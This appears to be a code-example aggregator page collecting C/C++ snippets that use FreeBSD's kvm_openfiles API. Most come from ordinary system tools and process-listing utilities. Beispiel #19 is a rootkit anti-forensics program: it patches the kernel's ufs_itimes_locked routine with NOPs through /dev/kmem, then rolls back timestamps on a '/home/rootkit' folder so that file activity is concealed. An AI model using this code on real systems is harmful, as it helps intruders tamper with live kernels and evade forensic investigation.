		kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, buf);
		if (kd == NULL)
			errx(1, "kvm_openfiles: %s", buf);
		if ((ret = kvm_nlist(kd, nl)) != 0) {
			if (ret == -1)
				errx(1, "kvm_nlist: %s", kvm_geterr(kd));
			quit = 0;
			for (i = 0; nl[i].n_name[0] != '\0'; ++i)
				if (nl[i].n_value == 0) {
					quit = 1;
					warnx("undefined symbol: %s",
					    nl[i].n_name);
				}
			if (quit)
				exit(1);
		}
	}
	if (!(fileflag | ttyflag | swapflag | totalflag))
		usage();
	if (fileflag || totalflag)
		filemode();
	if (ttyflag)
		ttymode();
	if (swapflag || totalflag)
		swapmode();
	exit (0);
}
Beispiel #17
0
int
main(int argc, char **argv)
{
	char errbuf[_POSIX2_LINE_MAX], dummy;
	size_t	size;
	double t;

	(void) setlocale(LC_ALL, "");

	argc--, argv++;
	while (argc > 0) {
		if (argv[0][0] == '-') {
			struct cmdtab *p;

			p = lookup(&argv[0][1]);
			if (p == (struct cmdtab *)-1)
				errx(1, "%s: ambiguous request", &argv[0][1]);
			if (p == (struct cmdtab *)0)
				errx(1, "%s: unknown request", &argv[0][1]);
			curcmd = p;
		} else {
			t = strtod(argv[0], NULL) * 1000000.0;
			if (t > 0 && t < (double)UINT_MAX)
				delay = (unsigned int)t;
		}
		argc--, argv++;
	}
	kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
	if (kd != NULL) {
		/*
		 * Try to actually read something, we may be in a jail, and
		 * have /dev/null opened as /dev/mem.
		 */
		if (kvm_nlist(kd, namelist) != 0 || namelist[0].n_value == 0 ||
		    kvm_read(kd, namelist[0].n_value, &dummy, sizeof(dummy)) !=
		    sizeof(dummy)) {
			kvm_close(kd);
			kd = NULL;
		}
	}
	if (kd == NULL) {
		/*
		 * Maybe we are lacking permissions? Retry, this time with bogus
		 * devices. We can now use sysctl only.
		 */
		use_kvm = 0;
		kd = kvm_openfiles("/dev/null", "/dev/null", "/dev/null",
		    O_RDONLY, errbuf);
		if (kd == NULL) {
			error("%s", errbuf);
			exit(1);
		}
	}
	signal(SIGHUP, die);
	signal(SIGINT, die);
	signal(SIGQUIT, die);
	signal(SIGTERM, die);

	/*
	 * Initialize display.  Load average appears in a one line
	 * window of its own.  Current command's display appears in
	 * an overlapping sub-window of stdscr configured by the display
	 * routines to minimize update work by curses.
	 */
	initscr();
	CMDLINE = LINES - 1;
	wnd = (*curcmd->c_open)();
	if (wnd == NULL) {
		warnx("couldn't initialize display");
		die(0);
	}
	wload = newwin(1, 0, 1, 20);
	if (wload == NULL) {
		warnx("couldn't set up load average window");
		die(0);
	}
	gethostname(hostname, sizeof (hostname));
	size = sizeof(clkinfo);
	if (sysctlbyname("kern.clockrate", &clkinfo, &size, NULL, 0)
	    || size != sizeof(clkinfo)) {
		error("kern.clockrate");
		die(0);
	}
	hertz = clkinfo.stathz;
	(*curcmd->c_init)();
	curcmd->c_flags |= CF_INIT;
	labels();

	dellave = 0.0;

	display();
	noecho();
	crmode();
	keyboard();
	/*NOTREACHED*/

	return EXIT_SUCCESS;
}
Beispiel #18
0
int
main(int argc, char **argv)
{
    struct passwd *passwd;
    struct kinfo_proc *p, *plast;
    struct proc proc;
    int arg, ch, what;
    char *memf, *nlistf;
    char buf[_POSIX2_LINE_MAX];
    int cnt;

    arg = 0;
    what = KERN_PROC_ALL;
    nlistf = memf = NULL;
    while ((ch = getopt(argc, argv, "fmnp:u:vwN:M:")) != -1)
        switch((char)ch) {
        case 'f':
            fsflg = 1;
            break;
        case 'M':
            memf = optarg;
            break;
        case 'N':
            nlistf = optarg;
            break;
        case 'm':
            mflg = 1;
            break;
        case 'n':
            nflg = 1;
            break;
        case 'p':
            if (pflg++)
                usage();
            if (!isdigit(*optarg)) {
                warnx("-p requires a process id");
                usage();
            }
            what = KERN_PROC_PID;
            arg = atoi(optarg);
            break;
        case 'u':
            if (uflg++)
                usage();
            if (!(passwd = getpwnam(optarg)))
                errx(1, "%s: unknown uid", optarg);
            what = KERN_PROC_UID;
            arg = passwd->pw_uid;
            break;
        case 'v':
            vflg = 1;
            break;
        case 'w':
            wflg_mnt = 40;
            wflg_cmd = 16;
            break;
        case '?':
        default:
            usage();
        }

    if (*(argv += optind)) {
        for (; *argv; ++argv) {
            if (getfname(*argv))
                checkfile = 1;
        }
        if (!checkfile)	/* file(s) specified, but none accessable */
            exit(1);
    }

    ALLOC_OFILES(256);	/* reserve space for file pointers */

    if (fsflg && !checkfile) {
        /* -f with no files means use wd */
        if (getfname(".") == 0)
            exit(1);
        checkfile = 1;
    }

    /*
     * Discard setgid privileges if not the running kernel so that bad
     * guys can't print interesting stuff from kernel memory.
     */
    if (nlistf != NULL || memf != NULL)
        setgid(getgid());

    if ((kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, buf)) == NULL)
        errx(1, "%s", buf);
#ifdef notdef
    if (kvm_nlist(kd, nl) != 0)
        errx(1, "no namelist: %s", kvm_geterr(kd));
#endif
    if ((p = kvm_getprocs(kd, what, arg, &cnt)) == NULL)
        errx(1, "%s", kvm_geterr(kd));
    if (nflg)
        printf("USER     %-*.*s %*.*s   FD DEV              %*.*s MODE   SZ|DV R/W",
               wflg_cmd, wflg_cmd, "CMD",
               pid_width, pid_width, "PID",
               ino_width, ino_width, "INUM");
    else
        printf("USER     %-*.*s %*.*s   FD %-*.*s %*.*s MODE           SZ|DV R/W",
               wflg_cmd, wflg_cmd, "CMD",
               pid_width, pid_width, "PID",
               wflg_mnt, wflg_mnt, "PATH",
               ino_width, ino_width, "INUM");
    if (checkfile && fsflg == 0)
        printf(" NAME\n");
    else
        putchar('\n');

    for (plast = &p[cnt]; p < plast; ++p) {
        if (p->kp_stat == SZOMB)
            continue;
        if (!kread((void *)p->kp_paddr, &proc, sizeof(proc))) {
            dprintf(stderr, "can't read proc at %p for pid %d\n",
                    (void *)p->kp_paddr, Pid);
            continue;
        }
        dofiles(p, &proc);
        if (mflg)
            dommap(&proc);
    }
    exit(0);
}
Beispiel #19
0
int main(int argc, char ** argv) {

	int i, offset1, offset2; 
	char errbuf[_POSIX2_LINE_MAX];
	kvm_t *kd;

	struct nlist nl[] = { {NULL}, {NULL}, };
	unsigned char ufs_itimes_code[SIZE];

// The stat struct will hold the file stat which includes
// file modification times.

	struct stat sb;
	struct timeval time[2];

	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);

	if (kd == NULL) {
		fprintf(stderr, "ERROR: %s\n", errbuf);
		exit(-1);
	}

// ufs_itimes_locked is the kernel routine that does the time
// updation in the inode. 

	nl[0].n_name = "ufs_itimes_locked";

	if (kvm_nlist(kd, nl) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	if (!nl[0].n_value) {
		fprintf(stderr, "ERROR: Symbol %s not found \n", nl[0].n_name);
		exit(-1);
	}

	if (kvm_read(kd, nl[0].n_value, ufs_itimes_code, SIZE) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

// The ufs_itimes_locked code is sucked into the ufs_itimes_code
// array. Then we search for the byte code patterns that 
// surround the DIP_SET macro's third occurrence. That will
// help get the offsets for the two points where nop code
// needs to be inserted.

	for (i = 0; i < SIZE - 2; i++) {
		if (ufs_itimes_code[i] == 0x89 &&
			ufs_itimes_code[i+1] == 0x42 &&
				ufs_itimes_code[i+2] == 0x30) {
					offset1 = i;
		}

		if (ufs_itimes_code[i] == 0x89 &&
			ufs_itimes_code[i+1] == 0x4a &&
				ufs_itimes_code[i+2] == 0x34) {
					offset2 = i;
		}
	}

// Now we stat the folder and then the results are loaded into the
// sb struct.

	if (stat("/home/rootkit", &sb) < 0) {
		fprintf(stderr, "STAT ERROR: %d\n", errno);
		exit(-1);
	}

// The access time and modified time are extracted from the
// sb struct and placed into the time array.
// This is needed to rollback the access and modification
// times.

	time[0].tv_sec = sb.st_atime;
	time[1].tv_sec = sb.st_mtime;

// Now the kvm_write calls below will write the nop code
// to the two offset locations. 
// This will nullify the code that will update the 
// inode change times.

	if (kvm_write(kd, nl[0].n_value + offset1, nop, 
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "First ERROR: %s\n", kvm_geterr(kd));
			exit(-1);
	}

	if (kvm_write(kd, nl[0].n_value + offset2, nop, 
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "Second ERROR: %s\n", kvm_geterr(kd));
			exit(-1);
	}
// Now we do the thing in the folder which will cause the time updation.
// But since the code has been nullified the time will be unchanged.
// I have code in timecheck.c program which stats a file and gets
// the time and prints it. 
	char string[] = "ls ./" T_NAME;

	system(string);

	
// The utimes call will update the times from the time array. 
// This will effectively "roll back" the time.
// The change times are unaffected because we patched the
// ufs_itimes_locked code.

	if (utimes("/home/rootkit", (struct timeval *)&time) < 0) {
		fprintf(stderr, "UTIMES ERROR: %d\n", errno);
		exit(-1);
	}

// Now the kvm_write will write back the code snippet to the place
// in ufs_itimes_locked where the nop code was written. This 
// removes the patch. 

	if (kvm_write(kd, nl[0].n_value + offset1, &ufs_itimes_code[offset1],
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "Third ERROR %s\n", kvm_geterr(kd));
			exit(-1);
	}

	if (kvm_write(kd, nl[0].n_value + offset2, &ufs_itimes_code[offset2],
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "Fourth ERROR %s\n", kvm_geterr(kd));
			exit(-1);
	}


	if (kvm_close(kd) < 0 ) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	exit(0);
}
Beispiel #20
0
wxString ProcUtils::GetProcessNameByPid(long pid)
{
#ifdef __WXMSW__
	//go over the process modules and get the full path of
	//the executeable
	HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
	MODULEENTRY32 me32;

	//  Take a snapshot of all modules in the specified process.
	hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, (DWORD)pid );
	if ( hModuleSnap == INVALID_HANDLE_VALUE ) {
		return wxEmptyString;
	}

	//  Set the size of the structure before using it.
	me32.dwSize = sizeof( MODULEENTRY32 );

	//  Retrieve information about the first module,
	//  and exit if unsuccessful
	if (!Module32First( hModuleSnap, &me32 )) {
		CloseHandle( hModuleSnap );    // Must clean up the
		// snapshot object!
		return wxEmptyString;
	}

	//get the name of the process (it is located in the first entry)
	CloseHandle( hModuleSnap );
	return me32.szExePath;

#elif defined(__FreeBSD__)
	kvm_t *kvd;
	struct kinfo_proc *ki;
	int nof_procs;
	wxString cmd;

	if (!(kvd = kvm_openfiles(_PATH_DEVNULL, _PATH_DEVNULL, NULL, O_RDONLY, NULL)))
	    return wxEmptyString;

	if (!(ki = kvm_getprocs(kvd, KERN_PROC_PID, pid, &nof_procs))) {
	    kvm_close(kvd);
	    return wxEmptyString;
	}

	cmd = wxString(ki->ki_ocomm, wxConvUTF8);
	kvm_close(kvd);

	return (cmd);
#else
	wxArrayString output;
	ExecuteCommand(wxT("ps -A -o pid,command --no-heading"), output);
	//parse the output and search for our process ID
	for (size_t i=0; i< output.GetCount(); i++) {
		wxString line = output.Item(i);
		//remove whitespaces
		line = line.Trim();
		line = line.Trim(false);
		//get the process ID
		wxString spid = line.BeforeFirst(wxT(' '));
		long cpid(0);
		spid.ToLong( &cpid );
		if (cpid == pid) {
			//we got a match, extract the command, it is in the second column
			wxString command = line.AfterFirst(wxT(' '));
			return command;
		}
	}
	return wxEmptyString;	//Not implemented yet
#endif
}
Beispiel #21
0
ProcessList* ProcessList_new(UsersTable* usersTable, Hashtable* pidWhiteList, uid_t userId) {
   size_t len;
   char errbuf[_POSIX2_LINE_MAX];
   FreeBSDProcessList* fpl = xCalloc(1, sizeof(FreeBSDProcessList));
   ProcessList* pl = (ProcessList*) fpl;
   ProcessList_init(pl, Class(FreeBSDProcess), usersTable, pidWhiteList, userId);

   // physical memory in system: hw.physmem
   // physical page size: hw.pagesize
   // usable pagesize : vm.stats.vm.v_page_size
   len = 2; sysctlnametomib("hw.physmem", MIB_hw_physmem, &len);

   len = sizeof(pageSize);
   if (sysctlbyname("vm.stats.vm.v_page_size", &pageSize, &len, NULL, 0) == -1) {
      pageSize = PAGE_SIZE;
      pageSizeKb = PAGE_SIZE_KB;
   } else {
      pageSizeKb = pageSize / ONE_K;
   }

   // usable page count vm.stats.vm.v_page_count
   // actually usable memory : vm.stats.vm.v_page_count * vm.stats.vm.v_page_size
   len = 4; sysctlnametomib("vm.stats.vm.v_page_count", MIB_vm_stats_vm_v_page_count, &len);

   len = 4; sysctlnametomib("vm.stats.vm.v_wire_count", MIB_vm_stats_vm_v_wire_count, &len);
   len = 4; sysctlnametomib("vm.stats.vm.v_active_count", MIB_vm_stats_vm_v_active_count, &len);
   len = 4; sysctlnametomib("vm.stats.vm.v_cache_count", MIB_vm_stats_vm_v_cache_count, &len);
   len = 4; sysctlnametomib("vm.stats.vm.v_inactive_count", MIB_vm_stats_vm_v_inactive_count, &len);
   len = 4; sysctlnametomib("vm.stats.vm.v_free_count", MIB_vm_stats_vm_v_free_count, &len);

   len = 2; sysctlnametomib("vfs.bufspace", MIB_vfs_bufspace, &len);

   len = sizeof(fpl->memZfsArc);
   if (sysctlbyname("kstat.zfs.misc.arcstats.size", &fpl->memZfsArc, &len,
	    NULL, 0) == 0 && fpl->memZfsArc != 0) {
      sysctlnametomib("kstat.zfs.misc.arcstats.size", MIB_kstat_zfs_misc_arcstats_size, &len);
		  fpl->zfsArcEnabled = 1;
   } else {
		  fpl->zfsArcEnabled = 0;
   }


   int smp = 0;
   len = sizeof(smp);

   if (sysctlbyname("kern.smp.active", &smp, &len, NULL, 0) != 0 || len != sizeof(smp)) {
      smp = 0;
   }

   int cpus = 1;
   len = sizeof(cpus);

   if (smp) {
      int err = sysctlbyname("kern.smp.cpus", &cpus, &len, NULL, 0);
      if (err) cpus = 1;
   } else {
      cpus = 1;
   }

   size_t sizeof_cp_time_array = sizeof(unsigned long) * CPUSTATES;
   len = 2; sysctlnametomib("kern.cp_time", MIB_kern_cp_time, &len);
   fpl->cp_time_o = xCalloc(cpus, sizeof_cp_time_array);
   fpl->cp_time_n = xCalloc(cpus, sizeof_cp_time_array);
   len = sizeof_cp_time_array;

   // fetch initial single (or average) CPU clicks from kernel
   sysctl(MIB_kern_cp_time, 2, fpl->cp_time_o, &len, NULL, 0);

   // on smp box, fetch rest of initial CPU's clicks
   if (cpus > 1) {
      len = 2; sysctlnametomib("kern.cp_times", MIB_kern_cp_times, &len);
      fpl->cp_times_o = xCalloc(cpus, sizeof_cp_time_array);
      fpl->cp_times_n = xCalloc(cpus, sizeof_cp_time_array);
      len = cpus * sizeof_cp_time_array;
      sysctl(MIB_kern_cp_times, 2, fpl->cp_times_o, &len, NULL, 0);
   }

   pl->cpuCount = MAX(cpus, 1);

   if (cpus == 1 ) {
     fpl->cpus = xRealloc(fpl->cpus, sizeof(CPUData));
   } else {
     // on smp we need CPUs + 1 to store averages too (as kernel kindly provides that as well)
     fpl->cpus = xRealloc(fpl->cpus, (pl->cpuCount + 1) * sizeof(CPUData));
   }


   len = sizeof(kernelFScale);
   if (sysctlbyname("kern.fscale", &kernelFScale, &len, NULL, 0) == -1) {
      //sane default for kernel provided CPU percentage scaling, at least on x86 machines, in case this sysctl call failed
      kernelFScale = 2048;
   }

   fpl->kd = kvm_openfiles(NULL, "/dev/null", NULL, 0, errbuf);
   if (fpl->kd == NULL) {
      errx(1, "kvm_open: %s", errbuf);
   }

   return pl;
}
Beispiel #22
0
void ProcUtils::GetProcessList(std::vector<ProcessEntry> &proclist)
{
#ifdef __WXMSW__
	OSVERSIONINFO osver ;

	// Check to see if were running under Windows95 or
	// Windows NT.
	osver.dwOSVersionInfoSize = sizeof( osver ) ;
	if ( !GetVersionEx( &osver ) ) {
		return;
	}

	if ( osver.dwPlatformId != VER_PLATFORM_WIN32_NT ) {
		return;
	}

	//get child processes of this node
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (!hProcessSnap) {
		return;
	}

	//Fill in the size of the structure before using it.
	PROCESSENTRY32 pe;
	memset(&pe, 0, sizeof(pe));
	pe.dwSize = sizeof(PROCESSENTRY32);

	// Walk the snapshot of the processes, and for each process,
	// kill it if its parent is pid.
	if (!Process32First(hProcessSnap, &pe)) {
		// Can't get first process.
		CloseHandle (hProcessSnap);
		return;
	}

	do {
		ProcessEntry entry;
		entry.name = pe.szExeFile;
		entry.pid = (long)pe.th32ProcessID;
		proclist.push_back(entry);
	} while (Process32Next (hProcessSnap, &pe));
	CloseHandle (hProcessSnap);

#elif defined(__FreeBSD__)
	kvm_t *kvd;
	struct kinfo_proc *ki;
	int nof_procs, i;

	if (!(kvd = kvm_openfiles(_PATH_DEVNULL, _PATH_DEVNULL, NULL, O_RDONLY, NULL)))
	    return;

	if (!(ki = kvm_getprocs(kvd, KERN_PROC_PROC, 0, &nof_procs))) {
	    kvm_close(kvd);
	    return;
	}

	for (i=0; i<nof_procs; i++) {
	    ProcessEntry entry;
	    entry.pid = ki[i].ki_pid;
	    entry.name = wxString(ki[i].ki_ocomm, wxConvUTF8);
	    proclist.push_back(entry);
	}
	kvm_close(kvd);

#else
	//GTK and other
	wxArrayString output;
#if defined (__WXGTK__)
	ExecuteCommand(wxT("ps -A -o pid,command  --no-heading"), output);
#elif defined (__WXMAC__)
	// Mac does not like the --no-heading...
	ExecuteCommand(wxT("ps -A -o pid,command "), output);
#endif
	for (size_t i=0; i< output.GetCount(); i++) {
		wxString line = output.Item(i);
		//remove whitespaces
		line = line.Trim().Trim(false);

		//get the process ID
		ProcessEntry entry;
		wxString spid = line.BeforeFirst(wxT(' '));
		spid.ToLong( &entry.pid );
		entry.name = line.AfterFirst(wxT(' '));

		if (entry.pid == 0 && i > 0) {
			//probably this line belongs to the provious one
			ProcessEntry e = proclist.back();
			proclist.pop_back();
			e.name << entry.name;
			proclist.push_back(e);
		} else {
			proclist.push_back( entry );
		}
	}
#endif
}
Beispiel #23
0
int
main(int argc, char *argv[])
{
	struct kinfo_proc *kp;
	struct kinfo_proc *dkp;
	struct stat *stp;
	time_t touched;
	int ch, i, nentries, nusers, wcmd, longidle, longattime;
	const char *memf, *nlistf, *p, *save_p;
	char *x_suffix;
	char buf[MAXHOSTNAMELEN], errbuf[_POSIX2_LINE_MAX];
	char fn[MAXHOSTNAMELEN];
	char *dot;

	(void)setlocale(LC_ALL, "");
	use_ampm = (*nl_langinfo(T_FMT_AMPM) != '\0');
	use_comma = (*nl_langinfo(RADIXCHAR) != ',');

	argc = xo_parse_args(argc, argv);
	if (argc < 0)
		exit(1);

	/* Are we w(1) or uptime(1)? */
	if (strcmp(basename(argv[0]), "uptime") == 0) {
		wcmd = 0;
		p = "";
	} else {
		wcmd = 1;
		p = "dhiflM:N:nsuw";
	}

	memf = _PATH_DEVNULL;
	nlistf = NULL;
	while ((ch = getopt(argc, argv, p)) != -1)
		switch (ch) {
		case 'd':
			dflag = 1;
			break;
		case 'h':
			header = 0;
			break;
		case 'i':
			sortidle = 1;
			break;
		case 'M':
			header = 0;
			memf = optarg;
			break;
		case 'N':
			nlistf = optarg;
			break;
		case 'n':
			nflag = 1;
			break;
		case 'f': case 'l': case 's': case 'u': case 'w':
			warnx("[-flsuw] no longer supported");
			/* FALLTHROUGH */
		case '?':
		default:
			usage(wcmd);
		}
	argc -= optind;
	argv += optind;

	if (!(_res.options & RES_INIT))
		res_init();
	_res.retrans = 2;	/* resolver timeout to 2 seconds per try */
	_res.retry = 1;		/* only try once.. */

	if ((kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, errbuf)) == NULL)
		errx(1, "%s", errbuf);

	(void)time(&now);

	if (*argv)
		sel_users = argv;

	setutxent();
	for (nusers = 0; (utmp = getutxent()) != NULL;) {
		if (utmp->ut_type != USER_PROCESS)
			continue;
		if (!(stp = ttystat(utmp->ut_line)))
			continue;	/* corrupted record */
		++nusers;
		if (wcmd == 0)
			continue;
		if (sel_users) {
			int usermatch;
			char **user;

			usermatch = 0;
			for (user = sel_users; !usermatch && *user; user++)
				if (!strcmp(utmp->ut_user, *user))
					usermatch = 1;
			if (!usermatch)
				continue;
		}
		if ((ep = calloc(1, sizeof(struct entry))) == NULL)
			errx(1, "calloc");
		*nextp = ep;
		nextp = &ep->next;
		memmove(&ep->utmp, utmp, sizeof *utmp);
		ep->tdev = stp->st_rdev;
		/*
		 * If this is the console device, attempt to ascertain
		 * the true console device dev_t.
		 */
		if (ep->tdev == 0) {
			size_t size;

			size = sizeof(dev_t);
			(void)sysctlbyname("machdep.consdev", &ep->tdev, &size, NULL, 0);
		}
		touched = stp->st_atime;
		if (touched < ep->utmp.ut_tv.tv_sec) {
			/* tty untouched since before login */
			touched = ep->utmp.ut_tv.tv_sec;
		}
		if ((ep->idle = now - touched) < 0)
			ep->idle = 0;
	}
	endutxent();

	xo_open_container("uptime-information");

	if (header || wcmd == 0) {
		pr_header(&now, nusers);
		if (wcmd == 0) {
			xo_close_container("uptime-information");
			xo_finish();

			(void)kvm_close(kd);
			exit(0);
		}

#define HEADER_USER		"USER"
#define HEADER_TTY		"TTY"
#define HEADER_FROM		"FROM"
#define HEADER_LOGIN_IDLE	"LOGIN@  IDLE "
#define HEADER_WHAT		"WHAT\n"
#define WUSED  (W_DISPUSERSIZE + W_DISPLINESIZE + W_DISPHOSTSIZE + \
		sizeof(HEADER_LOGIN_IDLE) + 3)	/* header width incl. spaces */ 
		xo_emit("{T:/%-*.*s} {T:/%-*.*s} {T:/%-*.*s}  {T:/%s}", 
				W_DISPUSERSIZE, W_DISPUSERSIZE, HEADER_USER,
				W_DISPLINESIZE, W_DISPLINESIZE, HEADER_TTY,
				W_DISPHOSTSIZE, W_DISPHOSTSIZE, HEADER_FROM,
				HEADER_LOGIN_IDLE HEADER_WHAT);
	}

	if ((kp = kvm_getprocs(kd, KERN_PROC_ALL, 0, &nentries)) == NULL)
		err(1, "%s", kvm_geterr(kd));
	for (i = 0; i < nentries; i++, kp++) {
		if (kp->ki_stat == SIDL || kp->ki_stat == SZOMB ||
		    kp->ki_tdev == NODEV)
			continue;
		for (ep = ehead; ep != NULL; ep = ep->next) {
			if (ep->tdev == kp->ki_tdev) {
				/*
				 * proc is associated with this terminal
				 */
				if (ep->kp == NULL && kp->ki_pgid == kp->ki_tpgid) {
					/*
					 * Proc is 'most interesting'
					 */
					if (proc_compare(ep->kp, kp))
						ep->kp = kp;
				}
				/*
				 * Proc debug option info; add to debug
				 * list using kinfo_proc ki_spare[0]
				 * as next pointer; ptr to ptr avoids the
				 * ptr = long assumption.
				 */
				dkp = ep->dkp;
				ep->dkp = kp;
				debugproc(kp) = dkp;
			}
		}
	}
	if ((ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == -1 &&
	     ioctl(STDERR_FILENO, TIOCGWINSZ, &ws) == -1 &&
	     ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == -1) || ws.ws_col == 0)
	       ttywidth = 79;
        else
	       ttywidth = ws.ws_col - 1;
	argwidth = ttywidth - WUSED;
	if (argwidth < 4)
		argwidth = 8;
	for (ep = ehead; ep != NULL; ep = ep->next) {
		if (ep->kp == NULL) {
			ep->args = strdup("-");
			continue;
		}
		ep->args = fmt_argv(kvm_getargv(kd, ep->kp, argwidth),
		    ep->kp->ki_comm, NULL, MAXCOMLEN);
		if (ep->args == NULL)
			err(1, NULL);
	}
	/* sort by idle time */
	if (sortidle && ehead != NULL) {
		struct entry *from, *save;

		from = ehead;
		ehead = NULL;
		while (from != NULL) {
			for (nextp = &ehead;
			    (*nextp) && from->idle >= (*nextp)->idle;
			    nextp = &(*nextp)->next)
				continue;
			save = from;
			from = from->next;
			save->next = *nextp;
			*nextp = save;
		}
	}

	xo_open_container("user-table");
	xo_open_list("user-entry");

	for (ep = ehead; ep != NULL; ep = ep->next) {
		struct addrinfo hints, *res;
		struct sockaddr_storage ss;
		struct sockaddr *sa = (struct sockaddr *)&ss;
		struct sockaddr_in *lsin = (struct sockaddr_in *)&ss;
		struct sockaddr_in6 *lsin6 = (struct sockaddr_in6 *)&ss;
		time_t t;
		int isaddr;

		xo_open_instance("user-entry");

		save_p = p = *ep->utmp.ut_host ? ep->utmp.ut_host : "-";
		if ((x_suffix = strrchr(p, ':')) != NULL) {
			if ((dot = strchr(x_suffix, '.')) != NULL &&
			    strchr(dot+1, '.') == NULL)
				*x_suffix++ = '\0';
			else
				x_suffix = NULL;
		}

		isaddr = 0;
		memset(&ss, '\0', sizeof(ss));
		if (inet_pton(AF_INET6, p, &lsin6->sin6_addr) == 1) {
			lsin6->sin6_len = sizeof(*lsin6);
			lsin6->sin6_family = AF_INET6;
			isaddr = 1;
		} else if (inet_pton(AF_INET, p, &lsin->sin_addr) == 1) {
			lsin->sin_len = sizeof(*lsin);
			lsin->sin_family = AF_INET;
			isaddr = 1;
		}
		if (!nflag) {
			/* Attempt to change an IP address into a name */
			if (isaddr && realhostname_sa(fn, sizeof(fn), sa,
			    sa->sa_len) == HOSTNAME_FOUND)
				p = fn;
		} else if (!isaddr) {
			/*
			 * If a host has only one A/AAAA RR, change a
			 * name into an IP address
			 */
			memset(&hints, 0, sizeof(hints));
			hints.ai_flags = AI_PASSIVE;
			hints.ai_family = AF_UNSPEC;
			hints.ai_socktype = SOCK_STREAM;
			if (getaddrinfo(p, NULL, &hints, &res) == 0) {
				if (res->ai_next == NULL &&
				    getnameinfo(res->ai_addr, res->ai_addrlen,
					fn, sizeof(fn), NULL, 0,
					NI_NUMERICHOST) == 0)
					p = fn;
				freeaddrinfo(res);
			}
		}

		if (x_suffix) {
			(void)snprintf(buf, sizeof(buf), "%s:%s", p, x_suffix);
			p = buf;
		}
		if (dflag) {
		        xo_open_container("process-table");
		        xo_open_list("process-entry");

			for (dkp = ep->dkp; dkp != NULL; dkp = debugproc(dkp)) {
				const char *ptr;

				ptr = fmt_argv(kvm_getargv(kd, dkp, argwidth),
				    dkp->ki_comm, NULL, MAXCOMLEN);
				if (ptr == NULL)
					ptr = "-";
				xo_open_instance("process-entry");
				xo_emit("\t\t{:process-id/%-9d/%d} {:command/%s}\n",
				    dkp->ki_pid, ptr);
				xo_close_instance("process-entry");
			}
		        xo_close_list("process-entry");
		        xo_close_container("process-table");
		}
		xo_emit("{:user/%-*.*s/%@**@s} {:tty/%-*.*s/%@**@s} ",
			W_DISPUSERSIZE, W_DISPUSERSIZE, ep->utmp.ut_user,
			W_DISPLINESIZE, W_DISPLINESIZE,
			*ep->utmp.ut_line ?
			(strncmp(ep->utmp.ut_line, "tty", 3) &&
			 strncmp(ep->utmp.ut_line, "cua", 3) ?
			 ep->utmp.ut_line : ep->utmp.ut_line + 3) : "-");

		if (save_p && save_p != p)
		    xo_attr("address", "%s", save_p);
		xo_emit("{:from/%-*.*s/%@**@s} ",
		    W_DISPHOSTSIZE, W_DISPHOSTSIZE, *p ? p : "-");
		t = ep->utmp.ut_tv.tv_sec;
		longattime = pr_attime(&t, &now);
		longidle = pr_idle(ep->idle);
		xo_emit("{:command/%.*s/%@*@s}\n",
		    argwidth - longidle - longattime,
		    ep->args);

		xo_close_instance("user-entry");
	}

	xo_close_list("user-entry");
	xo_close_container("user-table");
	xo_close_container("uptime-information");
	xo_finish();

	(void)kvm_close(kd);
	exit(0);
}
Beispiel #24
0
void ProcUtils::GetChildren(long pid, std::vector<long> &proclist)
{
#ifdef __WXMSW__
	OSVERSIONINFO osver ;

	// Check to see if were running under Windows95 or
	// Windows NT.
	osver.dwOSVersionInfoSize = sizeof( osver ) ;
	if ( !GetVersionEx( &osver ) ) {
		return;
	}

	if ( osver.dwPlatformId != VER_PLATFORM_WIN32_NT ) {
		return;
	}

	//get child processes of this node
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (!hProcessSnap) {
		return;
	}

	//Fill in the size of the structure before using it.
	PROCESSENTRY32 pe;
	memset(&pe, 0, sizeof(pe));
	pe.dwSize = sizeof(PROCESSENTRY32);

	// Walk the snapshot of the processes, and for each process,
	// kill it if its parent is pid.
	if (!Process32First(hProcessSnap, &pe)) {
		// Can't get first process.
		CloseHandle (hProcessSnap);
		return;
	}

	//loop over all processes and collect all the processes their parent
	//pid matches PID
	do {
		if ((long)pe.th32ParentProcessID == pid) {
			proclist.push_back((long)pe.th32ProcessID);
		}
	} while (Process32Next (hProcessSnap, &pe));
	CloseHandle (hProcessSnap);

#elif defined(__FreeBSD__)
	kvm_t *kvd;
	struct kinfo_proc *ki;
	int nof_procs, i;

	if (!(kvd = kvm_openfiles(_PATH_DEVNULL, _PATH_DEVNULL, NULL, O_RDONLY, NULL)))
	    return;

	if (!(ki = kvm_getprocs(kvd, KERN_PROC_PROC, pid, &nof_procs))) {
	    kvm_close(kvd);
	    return;
	}

	for (i=0; i<nof_procs; i++) {
	    ProcessEntry entry;
	    if (ki[i].ki_ppid == pid)
		proclist.push_back(ki[i].ki_pid);
	}

	kvm_close(kvd);

#else
	//GTK and other
	wxArrayString output;
#ifdef __WXGTK__
	ExecuteCommand(wxT("ps -A -o pid,ppid  --no-heading"), output);
#else
	ExecuteCommand(wxT("ps -A -o pid,ppid "), output);
#endif
	//parse the output and search for our process ID
	for (size_t i=0; i< output.GetCount(); i++) {
		long lpid(0);
		long lppid(0);
		wxString line = output.Item(i);

		//remove whitespaces
		line = line.Trim().Trim(false);

		//get the process ID
		wxString spid  = line.BeforeFirst(wxT(' '));
		spid.ToLong( &lpid );

		//get the process Parent ID
		wxString sppid = line.AfterFirst(wxT(' '));
		sppid.ToLong( &lppid );
		if (lppid == pid) {
			proclist.push_back(lpid);
		}
	}
#endif
}
